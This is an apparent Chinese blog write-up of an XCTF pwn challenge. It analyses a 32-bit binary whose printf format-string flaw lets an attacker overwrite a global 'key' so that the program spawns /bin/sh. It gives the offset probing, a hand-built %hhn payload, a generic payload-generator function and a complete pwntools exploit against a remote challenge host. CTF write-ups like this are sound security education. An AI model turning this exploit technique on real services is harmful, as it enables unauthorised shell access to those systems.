实时数据监测(xctf)

原创

whiteh4nd 于 2020-05-24 20:39:10 发布

分类专栏： # xctf(pwn高手区) CTF

本文链接：https://blog.csdn.net/weixin_43868725/article/details/106320474

xctf(pwn高手区) 同时被 2 个专栏收录

27 篇文章 0 订阅

订阅专栏

CTF

41 篇文章 0 订阅

订阅专栏

0x0 程序保护和流程

保护：

```
[*] '/home/whitehand/Desktop/a'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

流程：

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  locker();
  return 0;
}
```

locker()

```
int locker()
{
  int result; // eax
  char s; // [esp+0h] [ebp-208h]

  fgets(&s, 512, stdin);
  imagemagic(&s);
  if ( key == 35795746 )
    result = system("/bin/sh");
  else
    result = printf(format, &key, key);
  return result;
}
```

imagemagic()

```
int __cdecl imagemagic(char *format)
{
  return printf(format);
}
```

当key=35795746=0x2223322时调用system("/bin/sh")，在imagemagic()中又存在格式化字符串漏洞。所以只需要更改key的值即可。

```
.bss:0804A048 key             dd ?
```

0x1 利用过程

先确定偏移量。

```
aaaa[%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p][%p]
aaaa[0xf7f24010][0xf7d9815b][(nil)][0xf7eec000][0xf7eec000][0xff8a6df8][0x80484e7][0xff8a6bf0]
[0x200][0xf7eec5a0][0xf7f2612a][0x61616161][0x5d70255b][0x5d70255b][0x5d70255b][0x5d70255b][0x
5d70255b][0x5d70255b][0x5d70255b][0x5d70255b]
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (ノ°Д°)ノ ┻┻
```

偏移量为12。但是我们要向key的地址写入35795746=0x2223322，如果一次性写入35795746个字符的话输入缓冲区可能会溢出导致程序无法运行。所以我们选择单字符写入所以payload=p32(0x0804A048)+p32(0x0804A049)+p32(0x0804A04A)+p32(0x0804A04B)+"%18c%12$hhn%17c%13$hhn%239c%14$hhn%224c%15$hhn"（数据在内存中是小端序%hhn会写入单字节）

```
\x22=34    \x33=51    \x22=34          \x02=2
18+16=34=0x22   34+17=51=0x33   51+239=290=0x122  290+224=514=0x202
```

也可以使用模板

```python
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr

# offset 覆盖的地址最初的偏移 size 机器字长 addr 将要覆盖的地址 target 要覆盖为的目的变量值
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
```

0x2 exp

```python
from pwn import *
#sh = process('./a')
sh = remote('124.126.19.106','37070')
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

# payload=p32(0x0804A048)+p32(0x0804A049)+p32(0x0804A04A)+p32(0x0804A04B)+"%18c%12$hhn%17c%13$hhn%239c%14$hhn%224c%15$hhn"
payload = fmt_str(12, 4, 0x0804A048, 0x2223322)
sh.sendline(payload)
sh.interactive()
```